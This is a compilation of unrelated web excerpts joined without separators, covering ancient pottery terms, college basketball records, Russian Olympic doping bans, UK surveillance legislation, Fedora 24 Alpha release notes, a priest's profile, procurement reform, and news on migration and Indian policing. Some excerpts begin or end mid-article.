Pyxis (pl. pyxides) - a small circular box with a lid, often used for the storage of jewellery and toileteries.
Red-Figure Style Decoration (from c. 530 BCE) Replacing the earlier black-figure style, vessels were painted black to leave unpainted figures the red colour of the original clay. Details were then added to the figures using a fine brush. Much greater attempts were made at realism and perspective in this style.
Rhyton (pl. rhyta) - used in relgious practices for the pouring of libations, they may also take the shape of animal heads, especially bulls.
Skyphos (pl. skyphoi) - deep cup or bowl with two handles near the rim.
Squat Alabastron - a flat jar for storing creams and ungents, first appearing in Minoan Crete and popular in the Mycenaean period. Early examples were made from alabaster, hence the name.
Stamnos (pl. stamnoi) - a jar with a wide mouth, often with a lid and two handles, used for mixing wine and water.
Stemmed Cup - a drinking cup with two handles, a stem and base. Popular in the Mycenaean civilization, they would later develop into the unbiquitous kylix.
Stirrup Jar - first appearing on Minoan Crete but the most common shape in Mycenaean pottery, with a false central spout, used to store wine and oils.
Tondo (pl. tondi) - the picture enclosed in a circle found on the inside of a kylix or plate.
Tripod Pyxis (pl. pyxides) - A pyxis with three concave legs, also called a tripod-kothon.
Vasiliki Style Decoration - the first distinctive Minoan style of pottery decoration using mottled red and black colours (c. 2600-2000 BCE). Named after the site where the first examples were excavated.
Perhaps most impressive is the facility his new hand lends Ackland in the kitchen. It’s so delicately tuned that he can crack an egg without getting any shell in the bowl, a task plenty of people with both hands still can’t seem to master. Most importantly, though, Ackland’s ability to open a frosty beer at the end of a long day is restored — even if it is a Budweiser. Come on Nigel — if you’re going to pop a brew with a robot hand, make it one worth opening!
(via IEEE)
Northern Illinois only scored four points in the first half of its game on Saturday. (Photo11: YouTube Screenshot)
Northern Illinois made history once again.
This time it had nothing to do with playing in a bowl game that seemed unfitting.
The NIU men's basketball team broke an NCAA Division I record on Saturday when it scored a mere four points in the first half against Eastern Michigan.
HIGHLIGHTS: How the top 25 fared Saturday
CRAZY: Live bat chases player in Big East game
Embarrassingly, Northern Illinois broke its own record for fewest points in the first half during the shot clock era; it scored five against Dayton in a Dec. 1 game.
"Our guys played hard," Huskies coach Mark Montgomery said. "Unfortunately, we just couldn't make a shot. We just needed someone to make a basket to get our team going, but I wouldn't say that we were taking bad shots. We had makeable, open shots, they just wouldn't go in, but our guys kept defending, kept playing hard."
Northern Illinois coach Mark Montgomery's team set numerous NCAA records Saturday for its dreadful offensive shooting display. (Photo11: Joe Nicholson, USA TODAY Sports)
The four first-half points wasn't even the worst statistic of the game, and the bad records kept piling in. The Huskies' 3.2% field goal shooting in the first half also set a record, breaking Savannah State's 4.3% shooting percentage against Kansas State in 2008. The one field goal also tied a D-I record set by Savannah State in the 2008 game.
The Huskies trailed 18-4 at halftime after shooting 1-for-31, which included 29 consecutive misses.
"It becomes contagious, both making shots and missing shots," Montgomery said. "At 18-4, if we come out and make a couple of baskets we would have been right back in it … but it just didn't happen."
Northern Illinois found some kind of a rhythm late in the game. The Huskies only had 13 points with 3:56 remaining but only ended up losing 42-25. This helped the team escape the most daunting record of all: fewest points scored in a game (20), which was set by Saint Louis in 2008.
Surprisingly, NIU scored the first points of the game Abdel Bader scored on a fast break one minute into the game. Then came the astonishing 29 consecutive misses. The team's finishing 13% shooting (eight of 61 from the floor) broke another NCAA record.
NIU's Daveon Balls scored seven of the team's 25 points. Northern Illinois, which features a lineup of mostly freshmen and sophomores, dropped to 4-14 on the season.
Glenn Bryant led Eastern Michigan (10-10, 3-3) with 10 points. The Eagles led 18-4 at the half — the fewest combined points in a half since North Carolina Central (13) and Savannah State (5) combined for 18 in the first half a game on Jan. 20, 2010.
Contributing: The Associated Press
PHOTOS: ALL THE SATURDAY HOOPS ACTION
International federations in canoeing and modern pentathlon ruled out seven on Tuesday, including an Olympic gold medalist, following earlier rulings in swimming and rowing. Some appeals are likely.
Russian President Vladimir Putin's spokesman Dmitry Peskov told Russian media that Putin had discussed the doping issue with his national security council.
"The topic of the recent International Olympic Committee ruling relating to Russian athletes was raised ahead of Putin's planned meeting tomorrow with the Russian Olympic team," Peskov was quoted as saying.
The vast majority of the Russian athletes who miss out are in track and field, where 67 athletes were ruled out when a ban on the Russian team was upheld at the Court of Arbitration for Sport last week.
More are falling foul of new rules imposed in the wake of the country's doping scandal.
While Russia avoided a blanket ban from the International Olympic Committee, it has lost several medal contenders to new IOC rules imposed Sunday banning Russia from entering athletes who previously doped.
Alexander Dyachenko, an Olympic champion in 2012, was among five canoeists ruled out after being named in a recent report by World Anti-Doping Agency investigator Richard McLaren alleging a state-sponsored doping cover-up.
McLaren's report last week specifically detailed how Russian state officials allegedly intervened to cover up hundreds of failed drug tests.
Dyachenko won gold in the men's double kayak 200 meters at the 2012 London Games.
"The ICF will continue its strong zero-tolerance stance and remove all athletes that contravene its rules in anyway," said Simon Toulson, the International Canoe Federation's general secretary. "If you step out of line you won't make the start line."
The four other banned canoeists are Alexei Korovashkov - a 2012 bronze medalist in the C2 1,000 meters event - Andrei Kraitor, Elena Anyushina and Nataliya Podolskaya.
The ICF also said that Russia would not be allowed to enter boats in four events in which the excluded athletes would have raced. Therefore, Austria, Germany, Sweden and Iran are in line to receive their places.
Meanwhile, the International Modern Pentathlon Union named the two Russians it had suspended as Maxim Kustov and Ilya Frolov, saying they both featured in the McLaren report. Kustov's place in the men's event passes to a Latvian athlete, while Frolov had only been entered for Rio as a reserve.
Three Russian rowers have also been excluded. Ivan Podshivalov and Anastasia Karabelshchikova were excluded because they previously served doping bans, while Ivan Balandin from Russia's men's eight was implicated in the McLaren report, World Rowing said.
Meanwhile, volleyball player Alexander Markin told local media he had been dropped due to a positive test earlier this year for the banned substance meldonium, even though he had not been banned. The international volleyball federation did not immediately respond to a request for comment.
The head of the Russian Wrestling Federation told the R-Sport agency that two-time world champion Viktor Lebedev was ineligible because he was given a doping ban in 2006.
On Monday, swimming's world governing body FINA ruled out seven Russians including reigning world 100m breaststroke champion Yulia Efimova.
Legal challenges are looming.
Efimova's agent has said he is preparing an appeal to the Court of Arbitration for Sport, and the Russian Canoe Federation's general secretary Irina Sirayeva said that the five banned could follow suit.
"The intention to defend the athletes is there," she told R-Sport.
Triple jumper Ekaterina Koneva - a former world championship silver medalist - told local media she was considering a lawsuit in civil court.
There was good news for Russia as its team of 18 shooters received approval to compete from the sport's international federation. Also, Russia also looks set to field a full team of four players in Olympic badminton, the Russian Badminton Federation said Tuesday, citing assurances from the Badminton World Federation.
Previously, archery and equestrian sport's world governing bodies said they had no objection to the Russians entered in their sports.
Lists of Russian athletes approved by international federations must still be approved by CAS arbiters who can reject athletes not tested outside Russia.
NBER Working Paper No. 21501
Issued in August 2015
NBER Program(s):Health Care, Health Economics
Over the last five decades, broad changes in the US health care system have dramatically influenced growth in health care expenditures. These structural changes have also influenced the trajectory of the health economics research. This paper reviews some of the seminal health economics papers (measured by citations) and identifies the salient factors driving the growth of medical expenditures. We find that the research identified – and was strongly influenced by – four eras of expenditure growth: (1) coverage expansion; (2) experimentation with financial incentives; (3) the managed care backlash; and (4) a golden era of declining expenditure growth. We conclude by discussing some themes from this research suggesting optimism that, going forward, we can curb excess expenditure growth above GDP growth without harming population health.
The NBER Bulletin on Aging and Health provides summaries of publications like this. You can sign up to receive the NBER Bulletin on Aging and Health by email.
Acknowledgments and Disclosures
Machine-readable bibliographic record - MARC, RIS, BibTeX
Document Object Identifier (DOI): 10.3386/w21501
Published: Alice Chen & Dana Goldman, 2016. "Health Care Spending: Historical Trends and New Directions," Annual Review of Economics, vol 8(1). citation courtesy of
The UK's new web snooping rules are still taking shape: while the legislation governing it -- the Investigatory Powers Act -- became law late last year, there is still much left unresolved.
The Investigatory Powers Act represents a major extension of the surveillance power of the state. It requires internet companies to keep customers' web-surfing history for 12 months.
The government's encryption plans remain impossible to decipher It's still difficult to see how effective the plans to extend internet surveillance and crack down on encryption will really be. Read More
It also gives spying agencies and police powers to conduct mass hacking of IT infrastructure, PCs, smartphones, and other devices and was described by NSA-contractor turned whistleblower Edward Snowden as "the most extreme surveillance in the history of western democracy".
The government has argued that the new legislation is needed to update and clarify the powers of police and intelligence agencies and said the legislation received "unprecedented scrutiny" from politicians -- and passed with cross-party support. And it has also received praise for increasing clarity around government surveillance powers.
While the legislation received royal assent in November last year, it actually takes rather longer for such a significant piece of legislation to be fully in place.
Earlier this month Lord Justice Fulford was appointed the first Investigatory Powers Commissioner, who will oversee the use of Investigatory Powers by public authorities. The Home Office said he will take on the statutory functions of the IPC "in due course".
The government has also launched a consultation on five key draft codes of practice to cover areas including interception of communications, 'equipment interference', bulk communications data acquisition, bulk personal datasets, and national security notices.
The draft Codes of Practice aim to set out the detail of how the powers in the legislation can be used (if you want to comment, you've got until 6 April to respond) and are designed as a guide to the agencies that are allowed to use the powers.
One of the more controversial elements covered in the consultation is 'equipment interference', or the ability of spy agencies, police, and others to hack into devices or tech infrastructure to find information or conduct surveillance.
The consultation notes this equipment could include traditional computers or "computer-like devices such as tablets, smart phones, cables, wires and static storage devices", which could be hacked either from afar or by direct physically contact. Attacks could range from simply using someone's password to gain entry, to complicated attacks using zero-day exploits.
"Equipment interference operations vary in complexity. At the lower end of the complexity scale, an equipment interference agency may covertly download data from a subject's mobile device when it is left unattended, or an agency may use someone's login credentials to gain access to data held on a computer.
"More complex equipment interference operations may involve exploiting existing vulnerabilities in software in order to gain control of devices or networks to remotely extract material or monitor the user of the device."
The draft code includes some suitably James Bond-style examples to illustrate why the capabilities are needed.
"A military base is situated in a specific location known to be the centre for intercontinental ballistic missile research being undertaken by a country with hostile intentions against the UK. In order to track how the research is evolving and what types of systems are being developed, equipment interference is used to gather intelligence from that specific location," it explains at one point.
Much of the burden that the new act creates will fall on ISPs and tech companies.
"As a comprehensive and complex piece of legislation that puts on a legislative footing existing and new capabilities, we understand that the implementation of the Investigatory Powers Act will be in stages. While the Bill received some scrutiny as it passed through the parliamentary process, a large amount of detail will be left to codes of practice and secondary legislation," said Andrew Kernahan from the Internet Services Providers' Association ISPA UK.
"It is important that in implementing the legislation, the Home Office does so in as open and transparent manner as possible, one that includes robust checks and balances and safeguards. The legislation itself limits what a CSP can and can't reveal in a number of areas, but our members treat the balance between privacy of their customers and lawful requirements very seriously," he said.
One thing missing is a draft code of conduct on one of the most controversial aspects of the legislation: the retention of communications data which is now going to be published for consultation "in due course", according to the government. That likely means the retention of internet communications records, one of the key parts of the the law, has been delayed.
That's because late last year the European Court of Justice ruled that "general and indiscriminate retention" of internet browsing and email was unlawful, which means that the part of the legislation around the bulk collection of internet browsing records could be open to a legal challenge.
Civil liberties campaign group Liberty is challenging the "bulk" surveillance powers contained in the law, and has already applied to the High Court for permission to proceed in its legal challenge to lead to a judicial review of the law.
Privacy International is another campaign group, which has ongoing challenges in the UK and Europe to bulk communications data, bulk personal datasets, interception, and hacking.
Millie Graham Wood, legal officer at Privacy International, said there are plenty of potential ramifications from the Investigatory Powers Act: "Concerns about secret law developing behind closed doors, companies being gagged from revealing what they are being compelled to do, how Brexit will impact on the direction the UK takes in relation to mass surveillance and whether we lose out on protections that Europeans benefit from."
She said that while the UK has said it will comply with EU regulations, such as the General Data Protection Regulations, because to not do so would have a negative impact on the UK tech industry, how they intend to do that is unclear, as is whether it will restrain mass surveillance.
The equipment interference powers are another cause for concern. "Hacking, as undertaken by any actor, including the state, fundamentally impacts on the security of computers and the internet.
"It incentivises the state to maintain security vulnerabilities that allow any attacker -- whether GCHQ, another country's intelligence agency or a cyber criminal -- potential access to our devices. When deployed against networks or in 'bulk', hacking can undermine the security of all our communications, including those that form the core of financial transactions. These security concerns affect all communication service providers and the consumers who use their services," she warned.
The data collection elements are also a worry: "The sheer volume of retained data will be huge and be incredibly revealing. It will also be a honeypot for cybercriminals. Should we be worrying about when the next hack or data leak will be?"
She added: "Individuals will consequently face a reduction in their privacy and security, which could undermine trust in the entire communications system. The internet offers a democratic space in which personal exploration, growth, change and development is possible, and without trust in the systems that enable such exploration, such positive growth is curtailed."
An interesting development: Undrafted rookie Lorenzo Jerome, who has been the third-string free safety, took a lot of snaps as the second-string nickel cornerback on Tuesday. That's likely in part because first-string nickel cornerback K'Waun Williams in recovering from a minor injury and Will Redmond has been playing with the first string. But it also may be because Jerome has been impressive and coaches are wondering what else he can do. Don Jones was the third-team free safety. He paired with good-looking rookie Chanceller James.
The 49ers have been giving K’Waun Williams first team nickel back work, but an injury sidelined him on Tuesday. It sounds like he’ll be fine for training camp, but in the meantime, it opens the door for Jerome.
A UDFA has to do anything and everything to make an NFL roster. Special teams is the big key for many UDFAs, but having utility at several positions can be just as critical. And given the 49ers lack of depth at free safety, it opens the door for even more of an opportunity.
By Football Espana staff
Rafa Benitez has said that only Cristiano Ronaldo is guaranteed a place in the Real Madrid team as he is on a level above the rest of the squad.
Benitez appeared before the Press in advance of Madrid’s game against Athletic Bilbao and the discussion turned to Gareth Bale and rotations in the team.
“I talk to Bale in English and he understands what is needed to be competitive. This is a special group. They know Cristiano gets 60 goals a season and that’s a bonus,” the Coach said, AS reports.
“When I compared him to [Spain basketball international] Pau Gasol I meant that we have a great team and a player who makes the difference.
“Cristiano was the one who ran the most against Espanyol. He’ll tire and he has to be managed. He’s fine today. Here there is only one indisputable player and that’s Cristiano, the rest are good players.
“I don’t favour anybody. It’s about helping someone score 60 goals a season. Karim Benzema is scoring too. Above all the team has to be balanced.”
Madrid’s visit to Santiago Bernabeu could see Ronaldo become the club’s record scorer and Keylor Navas set a record for clean sheets.
“I want to win. I’m not obsessed with not conceding. If we don’t concede I’ll be happy and if Cristiano scores five I’ll be happy too,” Benitez continued.
He puts his faith not in a particular person but a notion of Catholicism that is humble, open-minded and tied to local communities rather than ritual. ''The best chance for Catholicism around the world is Australian-branded Catholicism, because it will be creative and innovative, it will be larrikin. And that is what I hope will happen.'' It's after 1pm and the cafe is quiet. A cover version of Hey Hey My My plays in the background (''It's better to burn out, than to fade away''). A man with the softest hands I have ever felt comes by to say hello. ''This could be our finest hour,'' Father Bob tells him. ''It could be our swan song, too,'' the man replies. A woman then stops to ask about next Sunday night's service. Father Bob has continued giving mass in the back of Saints Peter and Paul, despite being replaced ''under duress'' by the Capuchin religious order. Father Bob's brand of ''Occupy Catholicism'', inspired by the will of the 99 per cent rather than those in Rome, didn't sit well with either Melbourne Archbishop Denis Hart or Sydney Archbishop George Pell. Nor, presumably, have his appearances on television and his lively Sunday night radio program with John Safran on Triple J. Father Bob, who has described himself as ''a brawler not a fighter'', was given a pair of boxing gloves after his final official mass in January 2012. He has continued running the independent Father Bob Maguire Foundation, providing assistance to ''the unlovely and the unloved''. ''I've retired from institutional catholicism. I've got the parish without borders.'' But does he miss his church? ''Yeah, I want to be in there,'' he says. ''Some person said the other day, 'Stop going up there because you'll drive yourself bloody mad'. I said, 'Well, they interrupted a major operation'. The patients are still there, the neighbourhood.''
During his informal Sunday night services, parishioners and priest sit on chairs on the same level, away from the raised altar and vestments. ''Catholicism at its best says to the world: 'Hey listen, excuse me, can we humbly ask you to let us on board your ship and we will do what we're the best at doing, which is Jesus washing the feet of the disciples, where we put ourselves at your service','' Father Bob says. ''If we were in good shape, we would be looking after the asylum seekers, we would commission a ship and help them onshore. That's the Catholic way. The top level should become part of the global neighbourhood but the poor buggers can't see past their bishops' rings; they're hypnotised, they're mesmerised.'' The building around us is a practical demonstration of what the church can achieve, he says. He helped open the South Melbourne Commons with Friends of the Earth three years ago as a ''secular humanist installation'', next to Saints Peter and Paul. The complex now has a cafe and business providing bicycles for those in need. The Melbourne Archdiocese intends to reclaim the property for ''parish-related purposes'' when the lease expires in August, a spokesman says. Father Bob hopes a biography and a documentary about his life, which will be released in May and July respectively, will provide a guide for establishing similar organisations, which seem to straddle the divide between religion and spirituality. A wake is under way in the community hall next door for the ex-priest. Father Bob says his own beliefs have never wavered. ''Call it faith, call it religion, I have seen it work. Not only piously when someone like your mother hangs on to her Rosary beads even when she's 60 and has had a stroke. But among people who are trying to make ends meet.
''The heroism of the ordinary person in public housing, the heroism of ordinary people from all walks of life when they have received a kick in the arse … I think the more secular we become, the better it is.'' He is fascinated with the splendour of little things, he says. With simple hymns over Mozart or Handel. An omelette instead of high cuisine. ''What's that like?'' he asks, pointing to my toasted sandwich. It's all right, I say, would you like some? ''Nah,'' he says, then insists I try his side salad. It's getting on and he offers to drive me across town to my next appointment. He walks slowly with a cane, after being hospitalised with nerve disease in January, and groans while climbing into his beat-up green Ford, one leg at a time. ''Physically I'm buggered but otherwise I am all right,'' he says. Twice it fails to start then, on the third try, a miracle. As we drive over the glittering brown water of the Yarra River we start talking about celibacy, as I guess you do when you're killing time with a Catholic priest.
Father Bob insists on calling himself a ''voluntary celibate'', regardless of church edicts. ''You have to accept celibacy as being an honourable craft. If you have involuntary celibacy you are going to get into all kinds of bizarre behaviour, one of which may well be paedophilia and the other one will at least be old, sour bachelors. The clerical culture is going to bring out the worst in any of us.'' He joined the seminary (or ''cemetery'', as he has called it) in 1953, believing he was joining a movement to help those who could not help themselves. The revolutionary promise of Vatican II inspired him to stay put. That movement has been hijacked since, he says. But he believes in resurrection. ''That's why I'd like to stay alive because I'd like to hang around long enough to see the movement flourish.'' Which brings us back to death. Heaven, hell and purgatory were ''cooked up'' by the church to corral matters beyond comprehension, he says. Dietary prescriptions during Lent were similarly man-made inventions, he says. So what happens when we die? ''I'm buggered if I know,'' he says again. ''You know this is not all there is when you listen to music, you see the sunset or the sunrise. Or you look in the eyes of a baby. We become fascinated with our own image and likeness and we try to preserve that environment so we're safe, like the church is trying to do now. ''But we have an instinct there is something else going on. You can either call it faith, you can call it hope, you can call it imagination, you can call it what you bloody well like. All I know is I am optimistic.''
What is the Alpha release?
The Alpha release contains all the features of Fedora 24’s editions in a form that anyone can help test. This testing, guided by the Fedora QA team, helps us target and identify bugs. When these bugs are fixed, we make a Beta release available. A Beta release is code-complete and bears a very strong resemblance to the third and final release. The final release of Fedora 24 is expected in June.
If you take the time to download and try out the Alpha, you can check and make sure the things that are important to YOU are working. Every bug you find and report doesn’t just help you, it improves the experience of millions of Fedora users worldwide!
Together, we can make Fedora rock-solid. We have a culture of coordinating new features and pushing fixes upstream as much as we can, and your feedback improves not only Fedora, but Linux and Free software as a whole.
Fedora-Wide Changes
Under the hood, glibc has moved to 2.23. The update includes better performance, many bugfixes and improvements to POSIX compliance, and additional locales. The new library is backwards compatible with the version of glibc that was shipped in Fedora 23, and includes a number of security and bug fixes.
We’ve also updated the system compiler to GCC 6 and rebuilt all packages with that, providing greater code optimization and catching programming errors which had slipped past previous compilers.
Workstation
Workstation features a preview of GNOME 3.20, which was released just after the Alpha was cut. The GNOME 3.20 release is already available in the Fedora 24 update stream. Once you install Fedora 24 Alpha, you can use Software or dnf to update. GNOME 3.20 will of course be part of Fedora 24 Beta and the Final release.
We have decided not to make Wayland, the next generation graphic stack, the default in Fedora 24 Workstation. However, Wayland remains available as an option, and the Workstation team would greatly appreciate your help in testing. Our goal is one full release where the non-default Wayland option works seamlessly, or reasonably close thereto. At that point we will make Wayland the default with X11 as the fallback option.
There have been many changes to theming in GTK+ 3, where a stable API has not been declared. As a result, applications that use custom CSS theming, for example, may show issues with their appearance. This may include default applications that come with Fedora 24 Alpha Workstation. Users are asked to try out their favorite GTK+ 3 based applications and report bugs upstream so they might be addressed in time for the final release.
Server
FreeIPA 4.3 (Domain Controller role) is included in Fedora 24. This version helps streamline installation of replicas by adding a replica promotion method for new installs. A new topology plugin has also been added that automatically manages new replication segment creation. An effective replica topology visualization tool is also available in the webUI.
More packages have been removed from the default Server edition to make the footprint of the default installation smaller.
Cloud
For Fedora 24, we’re working hard to make Fedora the best platform for developing containers, from the base Fedora container images to a full-featured PaaS to run and manage them.
We’re packaging OpenShift Origin for Fedora to make it easy to run on Fedora. OpenShift Origin is a distribution of Kubernetes optimized for enterprise application development and deployment. Origin embeds Kubernetes and adds powerful additional functionality to deliver an easy to approach developer and operator experience for building applications in containers.
Spins and Labs
Fedora Spins are alternative desktops for Fedora that provide a different desktop experience than the standard Fedora Workstation edition. Fedora Workstation is built on the GNOME desktop environment and aims to provide a compelling, easy-to-use operating system for software developers, while also being well-suited to other users. Our spins showcase KDE Plasma, Xfce, LXDE, Mate-Compiz, Cinnamon, and Sugar on a Stick (Soas) on the same Fedora Base.*
Fedora Labs are collections of software for specific purposes — Games, Design, Robotics, and so on. They are pre-selected sets of Fedora software and are ideal for events or audiences with the corresponding specific interest. Fedora 24 comes with a new lab, the Astronomy Spin, a set of tools for astronomers and astrophysicists.
*: Note that the SoaS spin and Security, Games, and Design Suite labs are missing from the Fedora 24 Alpha release. We plan to fix this for the Beta release.
ARM
ARM images are available as usual for several usecases. Fedora 24 ships Desktop images, such as Spins and Workstation, but also provides a Server image. A minimal Fedora image completes the wide set of install options for you ARM board.
Atomic Host
Fedora Atomic Host releases on a two-week schedule, and each release is built on the latest overall Fedora OS. This schedule means the Atomic Host is currently built on Fedora 23, but will switch to Fedora 24 when we’re out of Beta. There currently is no Fedora Atomic Host built on Fedora 24 Alpha, but we plan to have that for the Beta.
However, you can try one of the newer features with recent Fedora Atomic Host builds today. Since Fedora 23 was released, Atomic Host has added a “developer mode” that gives a better developer experience overall. When running in DEVELOPER MODE, the host will download and start Cockpit and fire up a TMUX session to make it easier to work at the console and obtain necessary information (like the root password, IP address, etc.).
Issues and Details
This is an Alpha release. As such, we expect that you may encounter bugs or missing features. To report issues encountered during testing, contact the Fedora QA team via the mailing list or in #fedora-qa on Freenode.
As testing progresses, common issues are tracked on the Common F24 Bugs page.
For tips on reporting a bug effectively, read “how to file a bug report.”
Release Schedule
The full release schedule is available on the Fedora wiki:
The current schedule calls for a beta release towards the beginning of May, and the final release in early June.
Be aware that these dates are development targets. Some projects release on a set date regardless of feature completeness or bugs; others wait until certain thresholds for functionality or testing are met. Fedora uses a hybrid model, with milestones subject to adjustment. This allows us to make releases with new features and newly-integrated and updated upstream software while also retaining high quality.
Flock 2016: Krakow, Poland
If you’re a contributor to Fedora, or interested in getting more involved, one way to engage with our community is through Fedora premier events.
The annual North American/European conference for Fedora contributors is Flock, which takes place August 2-5, 2016 in Krakow, Poland. Registration is now open at https://register.flocktofedora.org.
You may have remembered Rayman was teased as only a trophy in Super Smash Bros. Apparently, Nintendo of Canada’s Matt Ryan says he is actually playable in the game.
When Ubisoft and Nintendo shared the Rayman trophy in Super Smash Bros., many people were excited yet disappointed. There was no mention of the popular Ubisoft mascot being added to the game as a playable character. Many people assumed the trophy was his only way of appearing in the game. Both Nintendo and Ubisoft didn’t really share any more details after that as other characters were announced to be playable for the game instead.
Nintendo of Canada recently participated in a new video called “Super Smash Bros. Wii U Gameplay Session”. In the video, Ryan talks casually about the many fighters that will be playable in the game. In terms of new fighters, he said “Rayman and a whole bunch of others”. He did not state anything about Rayman only being featured in the game as a trophy as initially expected.
I've already discussed this issue and made reform part of my campaign platform. You can find details in the Procurement and Government Waste page of the site. The most important pieces are the details, and while the Procurement page offers a few pieces, I would like to shed a brighter light on things. Consider this updated chart for August and September prime contract awards for the 2000-2015 fiscal years-
For a more complete picture as to how much agencies spend in the last month, consider this table showing the average spend by agency by month for the 2000-2015 fiscal years. Months with the greatest spend are highlighted-
It's extremely clear that most agencies experience an uptick in spending during the month of August and then a bigger uptick in September. The Department of State seems to spend an average of 33.7%, or a little more than 1/3 of their yearly budget, in the last month of the year. The Department of the Interior, the Department of Health and Human Services, and the Department of Veteran Affairs also spend nearly 25% of their yearly budget in the last month. I understand that big projects may emerge that require heavy spending- the data, itself, shows where that happens in middle-of-the-year months; what I do not believe is that agencies consistently finding major procurement needs 30 days before their budget is set to expire.
The problem goes beyond the major executive agencies as well. The Executive Office of the President spent 43% of their FY2015 budget in September, the Office of Personnel Management spent 25%, the Social Security Administration spent 34% (that's on contracts, not actual social security payments), the Federal Trade Commission spent 35%, and so on. We really need to curb the practice.
Thus, I offer to you now proposed legislation to do just that in the Budget Rollover Act. The entire bill can be read here. As an Independent running for Congress, being able to craft legislation plays a role in electability. I have no government experience outside of contracting work, thus this bill demonstrates my capacity to write law. The main points of the legislation are as follows-
Defines and establishes rollover accounts for federal agencies
Allows agencies to rollover up to 20% of their unobligated funds at the end of the fiscal year
Mandates that funds in a rollover account be used in the next fiscal year or be returned to the Treasury
Sets up reporting requirements for mid-year and end-of-year for audit and transparency. Mid-year reports will be topline and informative, related to future plans the agency may have and predictions on budget rollover requirements. End-of-year reports will be augmentations of existing reports agencies already produce, simply with a section detailing how rollover account funds are used.
Having rollover accounts allows agencies to better plan projects at the end of the fiscal year. Better planning results in better quality. As I mention in my thesis on Procurement and Government Waste, available IT metrics show big declines in quality with end-of-year contracts. Planning and not rushing to spend will create far less budget waste. It's estimated that 13% of budget outlays could be saved through limited rollovers like this. With about $1.1 trillion in discretionary spending for 2015, assuming not all of that is part of the budget outlays for various reasons, I guess about 5% of the total represents the 13% theoretical savings, or roughly $55 billion per year in savings due to better planning and non-wasteful outlays. It could easily be more.
Read the entire bill here or below. Current members of Congress wishing to support such an initiative are more than welcome to take this and introduce it to the current Congressional session 🙂
Methodology
All data used in compiling the charts and spending percentages come from USASpending.gov. You can download prime contract awards by fiscal year. Be warned- there are millions of rows of data totaling gigabytes worth of content. Once all data was downloaded, I wrote a custom script in C# to read through each row of data for a given fiscal year and parse out the agency, month, and amount. All of that was then grouped and aggregated by code into spreadsheets for easy reading. Note that prime contract awards do not represent all government discretionary spending in a given fiscal year.
In the interest of transparency, I am offering up the parsed data in couple formats-
FY2000 to 2016 TOTALS.xls is the raw spreadsheet I used to compile data and charts. Fear my Excel skills (or lack thereof). Data includes agency spend by month and fiscal year with tables on every worksheet summarizing Department spending. Both dollars and percentages are included. There is a worksheet at the end for summarizing charts which were used in this post.
FY2000-2015 Spending Tables.pdf contains only Department spend by month by fiscal year as compiled in the original spreadsheet.
Pope, now general manager of communications at Super Rugby team Queensland Reds, reported in the CA paper that he had been told by an IOC apparatchik in May 2008 that: "The deals that were done with the Asian Broadcast Union (ABU) in the last cycle were pitiful. Within those deals India is currently valued at a paltry level – they are currently worth next to nothing. India is in their [IOC marketing department] thinking. India has been less of a target ahead of 2008 because of China. In the future the IOC will need full value for the Olympic signal in India." The document also noted that "the opportunity for women to compete at the Olympic Games could be the platform that transforms the women's game over the next century". Key to success: The womens game would receive a huge boost if featured in the Olympics. Credit:Getty Images However, the proposal fell on deaf ears at the ICC top table in the midst of discussion about Zimbabwe and Robert Mugabe. England are said to have objected because the Olympics could harm their television contract with Sky TV because of its incursion on the home summer as well as having concerns about the concept of having to play as Great Britain.
Willis starred in The Willis Family, a show about him, his wife Brenda, and their twelve children, all of whom formed a traveling music/dance act that entertained audiences while spreading the Gospel. The show aired for two six-episode seasons, but according to TMZ, the family was told in May that a third season would not be happening.
The charges have to do with a crime that allegedly took place more than a decade ago:
Toby Nathaniel Willis, 46, was arrested in Greenville, Kentucky, by agents from the Tennessee Bureau of Investigation, the bureau said in a statement. The TBI said Willis traveled to Kentucky “in an effort to avoid law enforcement.” The law enforcement agency said authorities began investigating Willis on Aug. 29, and agents “developed information Willis had a sexual encounter approximately 12 years ago with an underage female.” More details were not released. The TBI said the investigation remains ongoing.
To be sure, this story won’t be news for very long. The Willis family, try as they might, weren’t the. They didn’t have the political connections or the notoriety that comes with being the textbook definition of a “Quiverfull” family.
But it is a bit strange to hear a TLC spokesperson saying of Willis’ crime that the network is “shocked to hear the news.”
Really? This isn’t shocking to me at all.
The Willis family promotes conservative views about religion and sex: Abstinence is a must, premarital sex is a sin, etc.
Is that realistic? Not really. And treating (normal, legal) sex like a sin makes it more likely, I would argue, for pedophilia to flourish.
We don’t know the details of what Toby Willis did, but if he is convicted of this crime, I’m just saying my jaw wouldn’t drop.
Now tell me again why we should be worried about transgender people using certain bathrooms…?
Germany has unveiled plans to add Algeria, Morocco and Tunisia to its list of safe countries, as it tries to curb growing numbers of migrants.
Economy Minister Sigmar Gabriel said nationals from those countries would now be unlikely to be granted asylum.
The move is part of new measures aimed at tightening rules in a country which last year received more than 1.1 million asylum seekers.
Earlier, 26 migrants drowned off a Greek island after their boat capsized.
The migrants died near the island of Samos, near Turkey. Ten of the victims were children.
In other developments:
Six bodies were discovered by the Italian navy in a sinking dinghy off the Libyan coast
The Netherlands proposed sending migrants reaching Greece back to Turkey by ferry
Sweden said as many as 80,000 people who arrived to the country last year could fail in their requests for asylum and face deportation
Migrant crisis: Who does the EU send back?
Strained relations
Mr Gabriel's comments came after his Social Democrats held talks with Chancellor Angela Merkel's Christian Democrats and their Bavaria-based sister party, the Christian Social Union.
"The mood is good," Mr Gabriel was quoted as saying by Reuters news agency.
Morocco has already responded to the proposal, saying it would repatriate any of its nationals who had arrived illegally in Germany.
The German coalition partners also agreed that migrants with restricted asylum status would be unable to bring relatives into the country for two years.
The deportation of failed asylum seekers would also be speeded up.
The migrant issue has been straining the coalition, with the CSU threatening to take Mrs Merkel's government to court if the party's demand to stem the flow of asylum seekers is not dealt with decisively.
The coalition proposals still need to be approved by the government and parliament.
Sources: Lok Sabha, unstarred question no 1506, July 26, 2016; South Asia Terrorism Portal; World Bank, International Homicides; Police Reform in Mexico, Daniel M Sabet, Stanford University Press; Interpol. Note: This is an indicative chart. Police-population ratios and homicide rates are not always for the same years. We have used homicide rates as a means of comparison between countries because the definition of crime varies globally and comparable data are not readily available.
Longer hours
Where the police-population ratios clearly do matter is in the hours that police work in India. Up to 90% of Indian police officers currently work for more than eight hours a day, according to this 2014 report from the Bureau of Police Research and Development. The report said 68% of police report that they work 11 hours a day, and 28% report 14-hour work days. Nearly half report that they are called to duty between eight and 10 times a month during offs.
There were 17.2 million police officers across 36 states and union territories, when there should have been 22.6 million, according to the Ministry of Home Affairs. There should be an officer for every 547 Indians, according to a government-mandated ratio – called “sanctioned strength” in official jargon – but the number is one for every 720.
